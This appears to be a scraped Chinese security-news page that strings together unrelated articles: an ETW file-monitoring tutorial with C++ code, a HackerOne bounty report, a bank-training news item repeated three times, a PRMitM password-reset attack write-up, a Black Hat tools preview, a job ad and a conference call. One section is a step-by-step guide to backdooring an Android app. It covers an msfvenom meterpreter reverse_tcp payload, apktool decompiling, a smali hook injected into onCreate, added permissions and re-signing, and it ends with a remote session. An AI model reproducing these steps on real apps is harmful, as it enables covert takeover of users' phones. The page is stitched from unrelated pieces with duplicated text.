Windows® 事件跟踪 (ETW) 是操作系统提供的一个高速通用的跟踪工具。ETW 使用内核中实现的缓冲和日志记录机制,提供对用户模式应用程序和内核模式设备驱动程序引发的事件的跟踪机制。自windows2000开始,各种核心的操作系统和服务器组件开始纷纷采用 ETW 对其活动进行检测。ETW 主要包含四种类型的组件:事件提供程序、控制器、使用者和事件跟踪会话。

TIM图片20170630165648.png

ETW主要包括3componentController, Provider, and Consumer,下面我就以DNS为例进行讲解使用过程。

TIM图片20170630165836.png


一、        Controller

使用StartTrace在内存创建一个Event Session,这个时候session是没有关联任何Provider的。

 ULONG StartTrace(
  _      Out_   PTRACEHANDLE           SessionHandle,  
           _In_    LPCTSTR             SessionName,
         _Inout_ PEVENT_TRACE_PROPERTIES Properties
         );

看该函数的第三个参数类型PEVENT_TRACE_PROPERTIES,EVENT_TRACE_PROPERTIES的结构体定义如下:

typedef struct _EVENT_TRACE_PROPERTIES {
  WNODE_HEADER Wnode;
  ULONG        BufferSize;
  ULONG        MinimumBuffers;
  ULONG        MaximumBuffers;
  ULONG        MaximumFileSize;
  ULONG        LogFileMode;
  ULONG        FlushTimer;
  ULONG        EnableFlags;
  LONG         AgeLimit;
  ULONG        NumberOfBuffers;
  ULONG        FreeBuffers;
  ULONG        EventsLost;
  ULONG        BuffersWritten;
  ULONG        LogBuffersLost;
  ULONG        RealTimeBuffersLost;
  HANDLE       LoggerThreadId;
  ULONG        LogFileNameOffset;
  ULONG        LoggerNameOffset;
} EVENT_TRACE_PROPERTIES, *PEVENT_TRACE_PROPERTIES;

所以在创建调用StartTrace 之前需要分配一定的该结构内存,按照MSDN的介绍至少要填写该结构体的一下几个字段

TIM图片20170630170005.png


需要定义一个sessionname,即:

#define SESSION_NAME_FILE L”Test_FileTrace_Sample”

  ULONG uBufferSize = sizeof(EVENT_TRACE_PROPERTIES) + 20*MAX_PATH*sizeof(TCHAR);

 EVENT_TRACE_PROPERTIES     pTraceConfig  =  new char[uBufferSize];

ifpTraceConfig ){        

         ZeroMemory(pTraceConfig, uBufferSize);

         pTraceConfig->Wnode.BufferSize = uBufferSize;

         pTraceConfig->Wnode.Flags = WNODE_FLAG_TRACED_GUID;

         pTraceConfig->Wnode.ClientContext = 3;

         pTraceConfig->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;

         pTraceConfig->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

         pTraceConfig->FlushTimer = 1; 

wcsncpy((LPWSTR)((char*)pTraceConfig + pTraceConfig->LoggerNameOffset), SESSION_NAME_FILE, wcslen(SESSION_NAME_FILE));

 

接下来就可以使用StartTrace去创建内存Session了,

TRACEHANDLE  hSessionHandle

HRESULT hr = ::StartTrace(

(PTRACEHANDLE)&hSessionHandle,

 SESSION_NAME_FILE,

pTraceConfig);

 

Controller的第二步是启动(API: EnableTrace)和停止(API: ControlTraceProvider(它是使用ProviderGUID来区分不同的provider的)。

如果StartTrace直接创建成功我们就可以直接调用EnableTrace去开启想要监控的事件Provider Guid,如果StartTrace创建失败过程中,如果返回的错误值是ERROR_ALREADY_EXISTS,就必须调用ControlTrace去停止当前已经的Sessions事件实例,如下

hr = ::StartTrace(

(PTRACEHANDLE)&hSessionHandle,

 SESSION_NAME_FILE,

 pTraceConfig);

 

  if( hr == ERROR_ALREADY_EXISTS )

{

                   hr = ::ControlTrace(

(TRACEHANDLE)NULL,

SESSION_NAME_FILE,

pTraceConfig,

EVENT_TRACE_CONTROL_STOP);

if (SUCCEEDED(hr)) {

 

hr = ::StartTrace(

(PTRACEHANDLE)&hSessionHandle,

SESSION_NAME_FILE,

pTraceConfig);

}

下面就是EnableTrace开启我们需要监控的事件Idwin7win10 我们一般使用的是EnableTraceEx,函数定义:

TIM图片20170630170106.png

注意第1345这几个参数,必须填写的参数

ProviderId [in]

GUID of the event trace provider that you want to enableor disable.

TraceHandle [in]

Handle of the event tracing session to which you want toenable or disable the provider. The StartTrace functionreturns this handle.

IsEnabled [in]

Set to 1 to receive events when the provider isregistered; otherwise, set to 0 to no longer receive events from the provider.

Level [in]

Provider-definedvalue that specifies the level of detail included in the event. Specify one ofthe following levels that are defined in Winmeta.h. Higher numbers imply thatyou get lower levels as well. For example, if you specify TRACE_LEVEL_WARNING,you also receive all warning, error,and critical events.

Value Meaning
TRACE_LEVEL_CRITICAL 1 Abnormal exit or termination events
TRACE_LEVEL_ERROR 2 Severe error events
TRACE_LEVEL_WARNING 3 Warning events such as allocation failures
TRACE_LEVEL_INFORMATION 4 Non-error events such as entry or exit events
TRACE_LEVEL_VERBOSE 5 Detailed trace events

按照msdn的说明,我们监控的是文件读写,因为文件内核的ETW日志GUID

 

DEFINE_GUID( /*90cbdc39-4a3e-11d1-84f4-0000f80464e3 */

         FileIoGuid,

         0x90cbdc39,

         0x4a3e,

         0x11d1,

         0×84, 0xf4, 0×00, 0×00, 0xf8, 0×04,0×64, 0xe3

         );

那么第一参数就是&FileProvGuid我们第三个参数就是前面创建hSessionHandle,第四个参数就是TRUE,第五个参数根据日志Level填写,我们选择的是TRACE_LEVEL_INFORMATION,那么代码就可以写为:

 

rc = ::EnableTraceEx(

                                               &FileProvGuid,

                                               NULL,

                                               hSessionHandle,

                                               1,

                                               TRACE_LEVEL_INFORMATION,

                                               0,

                                               0,

                                               0,

                                               0); 

                  if (ERROR_SUCCESS != rc) {

                           LOG_F(LS_WARNING) << “Failed to set file trace callback,rc: “ << rc;

                  }

一、        Consumer

  使用OpenTrace 打开事件通道

TIM图片20170630170241.png

第一个参数结构体 EVENT_TRACE_LOGFILE ,该结构主要定义着事件接受事件的方式,可以是文件也可以是内存,也可以是通过设置回调接口去获得信息,本文主要是通过毁掉接口是获取信息,调用方式为:

EVENT_TRACE_LOGFILE trace;

                   ZeroMemory(&trace, sizeof(EVENT_TRACE_LOGFILE));

                   trace.LoggerName = SESSION_NAME_FILE;

                   trace.LogFileMode = EVENT_TRACE_REAL_TIME_MODE;

                   trace.EventRecordCallback = ProcessRecordEvents;

                   trace.LogFileMode |= 0x10000000u;

 

                   hTraceHandle = ::OpenTrace(&trace);

                   if (hTraceHandle == NULL) {

                            LOG_F(LS_WARNING) << ::GetLastError();

                   }

EVENT_TRACE_REAL_TIME_MODE 表示实时获取数据,ProcessRecordEvents接收信息的回调函数,定义如下:

Void ProcessRecordEvents2(PEVENT_RECORD EventRecord)

接下来就是使用processTrace去开启监控,调用如下

rc = ::ProcessTrace(&hTraceHandle, 1, 0, 0);

 

调用成功会有数据进入回调ProcessRecordEvents函数

 EVENT_RECORD结构里有很多信息,主要用于区别不同日志信息,结构定义如下:

typedef struct _EVENT_RECORD {
  EVENT_HEADER                     EventHeader;
  ETW_BUFFER_CONTEXT               BufferContext;
  USHORT                           ExtendedDataCount;
  USHORT                           UserDataLength;
  PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;
  PVOID                            UserData;
  PVOID                            UserContext;
} EVENT_RECORD, *PEVENT_RECORD;

 

EVENT_HEADER里有进程相关的信息,有文件操作码的信息:

typedef struct _EVENT_HEADER {
  USHORT           Size;
  USHORT           HeaderType;
  USHORT           Flags;
  USHORT           EventProperty;
  ULONG            ThreadId;   线程id
  ULONG           ProcessId;  进程id
  LARGE_INTEGER           TimeStamp;
  GUID            ProviderId;
  EVENT_DESCRIPTOR EventDescriptor; 操作码描述
  union {
    struct {
      ULONG KernelTime;
      ULONG UserTime;
    };
    ULONG64 ProcessorTime;
  };
  GUID             ActivityId;
} EVENT_HEADER, *PEVENT_HEADER;

比如本文监控文件读写信息:

EventRecord->EventHeader.EventDescriptor.Id == 0xA表示读文件

EventRecord->EventHeader.EventDescriptor.Id == 0xB表示写文件

还有一个重要的数据结构是EventRecord-> UserDataLength 和EventRecord-> UserData,这个就是我们想要的日志信息的数据大小和具体数据

TIM图片20170630170311.png

得到的文件名是:\Device\HarddiskVolume1\Windows\System32\LogFiles\WM.I\RtBackup\EtwRTWDC_8060FileTrace000-9878654.etl

你会发现获得的名字是带Nt Device符号链接的路径的名字,因为这个是直接从windows的文件系统内打印的出来日志,所以带Nt Device符号的名字,只需要私用QueryDosDevice去转换获取对应的盘符的Nt Device链接去取代这个就可以获得应用层的对应名字,即

c:\ \Windows\System32\LogFiles\WM.I\RtBackup\EtwRTWDC_8060FileTrace000-9878654.etl

至此我们获取了windows的文件读写操作。 

         通过本文的方法我们还能监控很多windows的相应事件信息,ETW诊断的目的就是方便windows软件开发者在正常情况下或者无法预料的情况下能够通过ETW事件去分析诊断软件或者系统的各种问题,也可以用来对软件的性能进行完整记录与分析,ETW 使软件开发者能够动态地启用和禁用日志记录,轻松地在实际生产环境下进行详细跟踪问题并快速分析与解决。


The Hacker-Powered Security Report.jpg

HackerOne这周发布了2017年年度报告《黑客驱动的安全众测模式》,对过去四年平台上累积的数据进行分析总结:

超过800个项目

大约5万份漏洞报告

1700余万美元白帽子赏金

报告数据显示,当下白帽子的平均赏金收益为1923美元,比2015年的1624美元上涨了16%。企业支付过的最高单个漏洞赏金有30000美元,是一个很严重的洞。那家支付赏金的公司未公开名字。

在去年,游戏、电商、零售、媒体、娱乐等多个行业都有企业为严重漏洞支付过20000美元的高额赏金,平台上有88个白帽子获得过10000美元以上的单个漏洞赏金。

HackerOne首席执行官Marten Mickos表示,漏洞赏金计划遵循自然规律,越年长的黑客,越有机会赚钱。而随着公司需要修补的漏洞越来越多,攻击面变大,赏金支出也会水涨船高。

Mickos还指出,过去一年里漏洞赏金计划跨过技术领域门槛,迎来了更广泛的接受度。2016年平台上推出的赏金计划,有41%来自政府、媒体、娱乐等非技术行业,和银行、电商等金融服务业。

当国防部公布‘黑进五角大楼计划’后,改变了许多人对信任黑客这件事的看法。它让各种各样的公司找到我们,说‘如果你们黑掉了国防部,希望也能同样把我们黑掉。’

HackerOne平台上报告的漏洞,32%属于高危或严重级别。过去四年里,交通运输行业对这类漏洞最为慷慨,它们为此支付的平均赏金是4491美元,其次是游戏行业(3583美元)、电商和零售业(3471美元)。技术公司排名第五,1923美元。教育行业最低,是317美元。

屏幕快照 2017-06-30 下午2.38.52.png

在2016年,安全问题的平均首次回应时间是7天,2017年变成了6天。电商和零售行业修复漏洞的平均速度最快,为4周。

HackerOne_Vulnerability_Types.png

在HackerOne平台,除金融和银行业之外,其它行业最常被报告的漏洞是跨站脚本攻击(XSS)。里边有低危也有高危,严重的比如早些时候Verizon修复旗下聊天应用里出现的XSS账号劫持漏洞。

金融和银行业最常出现的是授权不当。SQL注射漏洞在整个HackerOne上都很常见,医疗保健行业最多,占比6%。

据HackerOne统计,福布斯全球两千强企业榜单里,高达94%的公司都没有设置过对外接收漏洞的入口。安全众测还需要很长的路要走。

ps:报告的下载地址,The Hacker-Powered Security Report

       近日,中国人民银行印发了《中国金融业信息技术“十三五”发展规划》,规划中明确指出,要完善金融信息基础设施,夯实金融服务基石,健全网络安全防护体系,增强安全生产和安全管理能力。随着《网络安全法》的正式施行,银行金融业网络和重要信息系统是国家关键信息基础设施加强银行业互联网安全风险应对能力,提升银行业整体防护能力刻不容缓。

      629日,由山西银监局、山东银监局分别主办的“网络安全专项治理工作会议”在山西、山东同步开讲,特邀国舜股份(股票代码834698)首席技术专家汤志刚先生、国舜技术专家李敬勋先生分别为山西、山东各银监分局、银行机构、金融公司及银监局直管的村镇银行共计70余家银行业机构培训分享了题为《银行业安全风险如何演变和控制》的主题讲座,围绕银行业 “如何快速响应业务需求,并在敏捷开发的过程中保障信息系统的安全性”等问题进行了深入交流。

1.png

国舜股份首席技术专家唐志刚在山西“网络安全专项治理工作推进会”上培训

 2.png

国舜股份技术专家李敬勋在山东“网络安全专项治理工作推进会”上培训

 

       培训中结合银行业目前迫切需要解决的核心问题做了应用案例分享:国舜股份携手民生银行开发的全生命周期的开发安全管理体系,首创以人机交互方式实现业务场景自动化安全需求分析,三级安全支撑体系保障应用安全基线。为保障系统自身的完整可靠,开发安全体系中包含了威胁资源库、安全测试资源库以及情景式需求分析平台等一系列的工具。金融机构采用了这套开发安全体系后,在软件系统的可行性分析、需求分析、设计、研发、测试、部署、运维等各个阶段可以实现“环环安全把关,步步工具相助”,在节约开发成本的前提下,降低对开发人员安全意识和技能的依赖性,确保整个软件系统的整体安全可控。

      国舜股份的技术专家们结合自身所处领域的专业知识技能和应用案例,给在座的与会银行业人员讲了一堂生动而又有意义的培训课,受到与会银行业各机构的一致好评。

 

 

 

      随着今年6月《网络安全法》的正式施行,中国信息安全已进入法治时代。各个机构,尤其是拥有关键信息基础设施的机构,都必须严阵以待,加强安全监控、检测、防范以及应急响应能力,提高自身安全意识,保障关键信息基础设施的安全。银行业网络和重要信息系统是国家关键信息基础设施为进一步加强银行业互联网安全风险应对能力,提升银行业整体防护能力,按照国家关键信息基础设施保护、网络安全风险专项应对工作的整体安排,山西银监局于近期组织开展了银行业网络安全专项治理工作

     629日,由山西银监局主办的“网络安全专项治理工作会议”特邀国舜股份(股票代码834698)首席技术专家汤志刚先生为与会的各银监分局、陕西省联社、晋商银行、山西信托公司、山西金融租赁公司、晋商消费金融公司、焦煤财务公司、太钢财务公司以及银监局直管的村镇银行30余家银行业机构培训分享了题为《银行业安全风险如何演变和控制》的主题讲座,围绕银行业迫切需要解决的关键问题——瞬息万变的网络攻击和网络犯罪,如何快速响应业务需求,并在敏捷开发的过程中保障信息系统的安全性。

1.png

国舜股份首席技术专家 汤志刚

 

       培训中结合银行业目前迫切需要解决的核心问题做了应用案例的解析:国舜股份携手民生银行开发的全生命周期的开发安全管理体系,是专门根据金融机构的系统业务特点设计和实现的。为保障系统自身的完整可靠,开发安全体系中包含了威胁资源库、安全测试资源库以及情景式需求分析平台等一系列的工具。只需要在情景式需求分析平台输入系统的应用场景就能轻松获得安全需求、安全设计方案和安全测试用例,大大降低工作强度和工作难度。金融机构采用了这套开发安全体系后,在软件系统的可行性分析、需求分析、设计、研发、测试、部署、运维等各个阶段可以实现“环环安全把关,步步工具相助”,在节约开发成本的前提下,降低对开发人员安全意识和技能的依赖性,确保整个软件系统的整体安全可控。

      国舜股份首席技术专家汤志刚先生,毕业于清华大学,拥有20余年信息安全行业从业经验,在开发安全领域内有独到研究,是国内排名前十的在开发领域和安全领域均有丰富经验的安全专家。主导开发并实施落地的金融行业全生命周期开发安全项目已先后服务于民生银行、吉林银行、包商银行,并协助银行获得部级成果二等奖。

      在此次山西银监局主办的“网络安全专项治理工作推进会议”的培训上,国舜股份首席技术专家汤志刚先生结合自身所处领域的专业知识技能和应用案例解析,给在座的与会银行业人员讲了一堂生动而又有意义的培训课,受到与会银行业各机构的一致好评。

 

 

 

 

       近日,中国人民银行印发了《中国金融业信息技术“十三五”发展规划》,规划中明确指出,要完善金融信息基础设施,夯实金融服务基石,健全网络安全防护体系,增强安全生产和安全管理能力。随着《网络安全法》的正式施行,银行金融业网络和重要信息系统是国家关键信息基础设施,加强银行业互联网安全风险应对能力,提升银行业整体防护能力刻不容缓。

      6月29日,由山西银监局、山东银监局分别主办的“网络安全专项治理工作会议”在山西、山东同步开讲,特邀国舜股份(股票代码834698)首席技术专家汤志刚先生、国舜技术专家李敬勋先生分别为山西、山东各银监分局、银行机构、金融公司及银监局直管的村镇银行共计70余家银行业机构培训分享了题为《银行业安全风险如何演变和控制》的主题讲座,围绕银行业 “如何快速响应业务需求,并在敏捷开发的过程中保障信息系统的安全性”等问题进行了深入交流。

1.png

国舜股份首席技术专家汤志刚在山西“网络安全专项治理工作推进会”上培训

 2.png

国舜股份技术专家李敬勋在山东“网络安全专项治理工作推进会”上培训

 

       培训中结合银行业目前迫切需要解决的核心问题做了应用案例分享:国舜股份携手民生银行开发的全生命周期的开发安全管理体系,首创以人机交互方式实现业务场景自动化安全需求分析,三级安全支撑体系保障应用安全基线。为保障系统自身的完整可靠,开发安全体系中包含了威胁资源库、安全测试资源库以及情景式需求分析平台等一系列的工具。金融机构采用了这套开发安全体系后,在软件系统的可行性分析、需求分析、设计、研发、测试、部署、运维等各个阶段可以实现“环环安全把关,步步工具相助”,在节约开发成本的前提下,降低对开发人员安全意识和技能的依赖性,确保整个软件系统的整体安全可控。

      国舜股份的技术专家们结合自身所处领域的专业知识技能和应用案例,给在座的与会银行业人员讲了一堂生动而又有意义的培训课,受到与会银行业各机构的一致好评。

 

 

 

在今年的IEEE研讨会上,来自以色列管理学术研究学院的研究人员展示了一种新的攻击方法。这种攻击方法被命名为PRMitM,意为“密码重置中间人攻击(Password Reset MitM Attack)”。黑客可以利用这种攻击手法对受害者的账号进行密码修改。

研究人员称,Google极易受到攻击,而Facebook, Yahoo, LinkedIn, Yandex和其他邮箱服务、手机应用(包括Whatsapp、Snapchat、Telegram)也比较容易受到攻击。

攻击流程

首先攻击者需要搭建一个网站,并且需要访客进行注册。网站可能提供某些免费服务或者免费软件,但是需要登录才能使用,借此吸引访客进行注册。当访客在注册表单中填写信息时,攻击开始。

接下来攻击者会跑到访客填写的邮件服务商(或者其他服务)那里选择“忘记密码”,如果出现验证码,攻击者就会把它再转发到网站让用户填写。当然,黑客会用一套自动化程序完成这些操作。

TIM截图20170626180238.png

全球Top 10网站在密码重置时采用的验证方式

与处理验证码的方法相同,之后密码重置过程中遇到的安全问题,攻击者也会返回给注册用户进行填写。

PRMitM.png

用户需要下载文件时,网站要求用户填写邮箱,填写后,攻击者会找到邮箱服务商,选择忘记密码,此时有些邮件服务商会返回验证码,攻击者再将验证码返回给用户填写,用户填写完成再提交给邮件服务商。同理,对于那些安全问题攻击者也可以要求用户进行填写,这在注册流程中是非常正常的事。获取了用户所有信息,攻击者便可进行密码重置。

有一些网站只使用安全问题就可以进行密码重置。在研究人员的实验中,77%的实验者把那些安全问题的答案提交给了非常不重要的网站。在研究人员看来这是非常危险的,诸如父母的姓名这类的网站应该只提供给非常重要的网站比如网银网站。研究人员提供的另外一条建议是,不要在那些不重要的网站提供这些问题的真实答案。

prmitm.png

PRMitM攻击方法的优势

可以用来对付双因素认证

PRMitM可以用来对付双因素认证。很多双因素认证需要验证用户手机,而使用PRMitM攻击者无需对受害者手机进行控制,也无需转发短信。攻击者只需要要求访客验证手机号就可以进行认证。攻击者会声称发送了短信验证码,而实际上发送短信验证码的是攻击者正在进行密码重置的网站。

之所以能够蒙混过关,还有一个比较重要的因素是发送短信的服务没有标明自己的服务,有时用户也没有注意验证码的发送方,在收到验证码时用户往往不会完整地阅读整条短信。

TIM截图20170626180525.png

上图中的Yandex就没有注明用于Yandex服务

研究人员发现,Google在发送验证码时不会提示验证码用于密码重置。Netfix不会提示验证码来自Netflix,eBay不会提短信来自eBay。而微软、Facebook和Twitter的短信则会注明用于密码重置。

Whatsapp、Snapchat、Telegram中的PRMitM

研究人员发现对于那些手机应用同样存在被攻击的可能。Whatsapp、Snapchat、Telegram会提供拨打电话进行密码重置的方法,但是同样地在这些电话中,这些服务不会声明具体的服务。

TIM截图20170626181418.png

针对中国的短信验证服务

实际上研究人员所说的提示验证码来自Google,指的是在手机短信应用中直接显示来自Google,而非来自特定的号码。这样的服务在中国比较少,我们的短信验证码普遍来自1065开头的号码。

不过据小编观察,大多数的短信在开头会注明来源:

微信图片_20170626180113.png

不过有些手机厂商提供了自动复制短信验证码的功能,这也可能造成用户直接忽略短信内容填写验证码。

攻击的局限性

实际上PRMitM这样的攻击方式只有在攻击邮件服务商时才足够有效,因为很多服务在密码重置时往往会先发送一份密码重置邮件,这样就暴露了攻击者的意图。

而研究人员提出的解决方案就是让厂商在短信中发送密码重置链接(因为对于忘记密码无法登陆的用户,邮件服务商无法发送重置邮件),或者更好的办法则是同时发送验证短信和验证邮件。

漏洞已通报厂商

研究人员称已经把这些“漏洞”汇报给了各个厂商。

那些极易被PRMitM攻击的厂商有的已经修复了漏洞(Snapchat, Yahoo!),有的回复我们称将修复漏洞(Google, LinkedIn, Yandex)。对于那些不容易攻击的网站,致谢了我们,并且称可能在将来采用我们的发现,但目前暂不会进行修复。

*参考来源:BleepingComputer,本文作者:Sphinx,转载请注明来自FreeBuf.COM

01-tools.jpeg

举世瞩目的Black Hat 2017即将于7月22-27日,在美国的拉斯维加斯盛大举行。作为信息安全方面的顶级会议,每年Black Hat都会带给我们许许多多的惊喜。从黑客大咖到全球顶级安全企业都将使出他们的浑身解数,为我们展示他们最新的技术研究成果。

而在上届新增的展示环节“Black Hat兵工厂”,则成为了众多工具爱好者最为期待的环节。那么在本届Black Hat的工具展示环节,将会为我们带来什么样的先进技术呢?为了不吊大家的胃口,下面我将为大家提前预告即将在本届Black Hat上发布的8款安全工具,让我们先睹为快。

GitPwnd

展示嘉宾:NCC集团的Clint Gibler和Noah Beddome。演讲议题:《Developing Trust and Getting Betrayed

02-gitpwnd.jpeg

信任是开展业务的一个重要基础。例如我们要信任我们的员工,同行和他们的技术。对这些不同的信任关系缺乏适当的管理或理解,就会无意中带来新的安全隐患,而GitPwnd就可以让我们利用他们之间的信任关系。GitPwnd是一款旨在渗透测试人员侵入计算机,并具有跨越开发环境能力的安全工具。在实际生产中,这些环境往往都具有严格的网络分段和日志记录。防御性工具通常会查找与正常用户行为不同的进程活动和时间。而GitPwnd会自己插入到共同的开发工作流中,从而可以较i好的避开这些检测。

Sandsifter

展示嘉宾:Battelle Memorial研究所的Christopher Domas。演讲议题:《Breaking the x86 Instruction Set

03-sandsifter.jpeg

该工具旨在帮助安全测试人员探测处理器的弱点。Domas将在一场演讲中发布该工具,该演讲将详细介绍可以筛选x86指令集,并查硬件故障和相关软件漏洞的处理器fuzz技术。

AVPASS

展示嘉宾:Jinho Jung,Chanil Jeon,Max Wolotsky,Insu Yun和Georgia Tech的Taesoo Kim。演讲议题:《AVPASS: Leaking and Bypassing Antivirus Detection Model Automatically

04-avpass.jpeg

佐治亚理工大学英特尔科学技术中心(ITSC-ARSA)的研究人员,将向人们展示如何突破基于算法分析检测的安全防护。他们将发布一款名为AVPASS的工具,这款工具可以有效地窥探Android反恶意软件检测模型,并将 Android恶意软件伪装成一款安全的应用程序。

WSUSpendu

展示嘉宾:Romain Coltel和Yves Le Provost。演讲议题:《WSUSpendu: How to Hang WSUS Clients

05-wsuspendu.jpeg

如果你可以拿到一台域环境下的WSUS服务器并取得管理员权限,则WSUSpendu会给你更多的惊喜。该脚本是由法国研究人员开发的,有了它渗透测试人员可以自主创建恶意更新,并将其注入到WSUS服务器数据库中随意的分发这些恶意更新。这些恶意更新甚至还可能被分发给那些与网络隔离的系统,威力可见一斑。

Data Exfiltration Through Cloud AV Sidechannel

展示嘉宾:Amit Klein和Itzik Kotler。演讲议题:《The Adventures of AV and the Leaky Sandbox

06-sidechannel.jpg

云查杀技术给我们带来了更好的安全保障,但Klein和Kotler即将发布的这款工具将为大家展示,这方面仍然存在着巨大的安全隐患。端点和云之间使用的连接也可被操纵,并实施边信道攻击。他们将借助该款工具将为大家展示“渗漏(exfiltration)”技术,即使是在有着严格出口过滤保护的高安全性端点,也能成功实施攻击。

GoFetch

展示嘉宾:独立研究员Tal Talie和微软的Tal Maor。演讲议题:《The Industrial Revolution of Lateral Movement

07-gofetch.jpeg

GoFetch是一个自动执行BloodHound应用程序生成的攻击计划的工具。 该工具首先会加载由BloodHound生成的本地管理员用户和计算机的路径,并将其转换为自己的攻击计划格式。一旦攻击计划准备就绪,根据计划GoFetch会逐步向目标渗透,并应用远程代码执行技术,通过Mimikatz获取目标系统的用户凭证。

CDF

展示嘉宾:来自Kudelski安全的Jean-Philippe Aumasson和Yolan Romailler。演讲议题:《Automated Testing of Crypto Software Using Differential Fuzzing

08-CDF.jpeg

他们演示并发布了不同的,可以检测通用加密API中漏洞的fuzz工具,其中包括RSA加密,elyptic-curve加密和对称密钥方案。

Electronegativity

展示嘉宾:Doyensec的Luca Carettoni。演讲议题:《Electronegativity – A Study of Electron Security

09-electronegativity.jpeg

随着本地桌面应用程序的卷土重来,Github的Electron跨平台桌面应用开发框架也越来越受欢迎。而Electronegativity可以帮助渗透测试人员审计,基于Electron开发的应用中常见的设计级漏洞和实现错误。Electronegativity将会作为Electron安全模型全面讨论的一部分进行发布。

*参考来源:darkreading,FB小编 secist 编译,转载请注明来自FreeBuf.COM

在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常。这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉。

使用脚本将msf后门注入到安卓程序中已经在上一篇文章进行发表了。这一篇文章会通过手工将后门注入到应用程序中。

步骤一:生成攻击载荷

metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk。
使用如下命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

912.png

步骤二:逆向apk文件

首先,要对目标文件以及刚刚生成的apk文件进行反编译。使用的工具为众所周知的apktool。下面命令会将apk反编译,然后将反编译出来的代码保存到一个后缀名为smail的文件中:

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

decompiling-apks.png

步骤三:放置后门文件

将从产生的apk中后门文件放到目标文件中,具体内容以及方式如下:

/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

步骤四:注入hook

我们必须检测安卓应用程序清单文件,这样可以确定在打开安卓应用程序时进行了那些活动。进而确定我们的后门程序会不会执行:

identification-of-main-activity.png

将下图中的主函数中的代码内容用后门代码替换:

;->onCreate(Landroid/os/Bundle;)V

identification-of-code-to-be-replaced.png

以下代码会在程序启动时,执行后门,以及启动应用程序:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

injecting-the-hook.png

步骤五:给予应用程序权限

为了使我们的后门能够更有效的工作,需要给予安卓应用程序应有的权限。可以将这些额外的权限添加到安卓清单文件中,这样的话,如果用户同意,这个应用程序就会给予后门应有的权限。

injecting-the-apk-with-excessive-permissions.png

步骤六:编译应用程序

现在我们已经将后门以及权限设置注入到目标应用程序当中,我们要对源代码进行编译,同样使用apktool。

java -jar apktool.jar b /root/Downloads/original/

building-the-injected-apk.png

步骤七:对apk进行签名

如果apk为签名,那么apk将不能在手机中安装。默认的安装的调试签名可以在这使用:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

signing-the-apk.png

当用户安装并且打开存在后门的应用程序时,我们就会得到meterpreter返回的会话:

meterpreter-via-injected-android-apk.png

公司简介:

上海良腾电子科技有限公司是一家专业从事网络信息安全软件产品开发及相关技术服务的高科技公司,公司于2016年成立网络安全部门,专业为金融、通讯、电商平台、政府等多用户定制整体网络安全解决方案,提供专业的安全服务支持和多种先进的专业网络安全产品,具备国内安全集成、涉密与安全服务资质。

因公司网络安全部门快速发展,需要在全国范围内引进多名安全人才补充团队实力,具体如下:

一、安全工程师经理

岗位职责:

1、根据项目需要,实施经过合法授权的主机、网络和Web安全渗透测试; 

2、提供网络安全攻防技术培训演练及应急响应工作。 

3、对互联网领域的重大安全事件进行跟踪、分析;

4、对安全领域的新技术、新方法进行研究。 

 任职要求:

1、熟悉常见的渗透测试流程和方法,如:信息收集、漏洞扫描、漏洞验证、权限提升… 

2、熟悉Windows、Linux等主流操作系统管理和安全管理,具备安全事件处理和分析能力; 

3、熟悉常见攻击和防御办法,熟悉web安全和渗透技术,能自行进行Web渗透测试,Web代码漏洞挖掘和分析;

4、熟悉主流/非主流的Web安全技术,包括SQL注入,XSS,CSRF等OWASPTOP 10安全风险;(可绕过安全狗,云锁等防护软件的优先)

5、熟悉防火墙、IDS、IPS、漏洞扫描、渗透测试的原理及操作;

6、熟悉ASP/PHP/JavaScript/Java/Python(熟练其中一种即可)等脚本语法,且具有一定的代码审计能力者优先。 

参考薪资:20000元/月–40000元/月

二、安全工程师

任职要求: 

1、熟悉常见Windows&linux、Web应用和数据库各种攻击手段。 

2、熟悉常见Web高危漏洞(SQL注入、XSS、CSRF等)原理及实践,在各漏洞提交平台实际提交过高风险漏洞优先; 

3、熟悉网络安全测试方法、测试用例、漏洞判定准则; 

4、有实际渗透测试经验,熟悉渗透测试各种提权方法; 

5、具有良好的报告撰写、团队沟通能力和合作精神; 

6、遵守法纪,无未授权的入侵破坏行为、无窃取数据行为、无参与黑色产业链经历; 

7、此岗位同时欢迎应届生、实习生投递; 

参考薪资:10000元/月-20000元/月 

我们的福利 : 

1、八小时工作制,双休,法定节假日带薪休息;  

2、按当地政策缴纳五险一金; 

3、年节福利发放,年底双薪待遇; 

4、项目网站奖励金 

5、公司提供住宿,中晚餐; 

6、每年组织公司旅游一次或部门活动一次。

简历投递邮箱:[email protected] (请注明来自FreeBuf )

欢迎你的加入,让我们携手共同成长!

2017第二届SSC安全峰会

时间:9月22日-23日

地点:中国•西安

大会介绍Introduction

1MB.jpg

SSC(全称:CloverSec  Security Conference)安全峰会是由四叶草安全主办的网络安全峰会。第一届SSC以“安全·传继”为主题,传承黑客精神,弘扬网络正能量,履行社会责任,践行企业使命,为安全行业输送人才。汇聚全国网络安全行业大咖、业界精英及白帽子,共800余人参会, 200余位顶尖安全精英,是中西部规模最大、规格最高、影响力最广的网络安全盛会。

第二届SSC议题征集开始啦!

议题方向(包括但不限于)

不玩套路,只讲干货

电商安全,金融安全,云安全

白帽子与SRC(对话)

 城市套路深(漏洞挖掘经验)

